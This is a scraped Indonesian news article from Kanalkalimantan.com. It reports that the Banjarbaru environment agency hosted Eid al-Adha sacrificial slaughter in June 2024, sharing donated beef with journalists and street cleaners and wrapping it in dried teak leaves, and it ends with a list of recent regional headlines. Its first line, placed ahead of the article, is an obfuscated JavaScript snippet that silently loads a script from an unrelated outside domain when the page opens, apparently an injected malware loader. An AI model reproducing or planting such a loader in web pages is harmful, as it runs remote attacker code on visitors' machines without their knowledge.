(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

DLH Banjarbaru Fasilitasi Penyembelihan Hewan Kurban Ramah Lingkungan


KANALKALIMANTAN.COM, BANJARBARU – Menyemarakkan Iduladha 1445 Hijriah, wartawan di Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) menerima bantuan seekor sapi dari Hasnuryadi Sulaiman.

Satu ekor sapi itu disembelih di halaman Dinas Lingkungan Hidup (DLH) Kota Banjarbaru yang memfasilitasi tempat penyembelihan hewan kurban, Rabu (19/6/2024) pagi.

Nahdatun Nusrah mewakili Hasnuryadi Sulaiman mengaku memilih wartawan untuk menerima bantuan sapi karena mengapresiasi kehadiran wartawan yang selama ini turut mengawal pembangunan dengan memberitakan aspirasi masyarakat.

“Alhamdulillah, semoga berkah dan bermanfaat. Kami dengar akan dibagikan ke petugas kebersihan dan wartawan,” ujarnya, Rabu (19/6/2024).

Baca juga: Pembongkaran Kandang Babi Mundur, Pemko Banjarbaru Tambah Waktu Sebulan

Sejumlah wartawan pun menyampaikan ucapan terima kasih kepada Kadis LH Kota Banjarbaru, Sirajoni dari panitia kurban.

“Terima kasih DLH Banjarbaru telah bersedia memfasilitasi tempat dan membantu penyembelihan ini,” ujar Rudy Azhari perwakilan wartawan Kota Banjarbaru.

Daging kurban dibagikan kepada para jurnalis yang bertugas di Banjarbaru sebanyak 60 orang.

Kemudian daging juga dibagikan kepada pasukan kuning DLH yang biasa betugas membersihkan lingkungan di Banjarbaru dan lainnya.

“Kami DLH memotong 6 ekor, 4 ekor merupakan kurban dari pegawai dan 2 ekor sumbangan masyarakat sebagai ungkapan terima kasih kepada sebanyak 480 pasukan kuning kami yang telah membantu membersikan Kota Banjarbaru,” ujar ujar Rolly Yahmi, Ketua Panitia Kurban DLH Banjarbaru.

Proses penyembelihan hewan kurban di Kantor DLH Kota Banjarbaru, Rabu (19/6/2024) pagi. Foto: wanda

Baca juga: Disperindag Banjarbaru Tegaskan LPG 3 Kg Hanya untuk Dua Kategori Penerima

Sejalan dengan edaran Wali Kota Banjarbaru, panitia kurban DLH Banjarbaru menerapkan sistem ramah lingkungan.

Panitia kurban menggunakan wadah ramah lingkungan untuk membungkus daging kurban yang dibagikan menggunakan daun jati kering.

“Kalau untuk daun jati ini malah getahnya bagus sebenarnya untuk membungkus daging kurban dan aman karena daun jati yang dipakai sudah kering untuk pembungkus,” jelas dia.

Rolly mengatakan, panitia menyediakan 1.000 lembar daun jati untuk dipakai menjadi pembungkus daging sapi yang dibagikan.

“Ini sudah tahun ketiga kami laksanakan pembungkusan dengan daun jati dan mengempukkan daging dengan daun jati ini juga bagus,” tandas Rolly. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.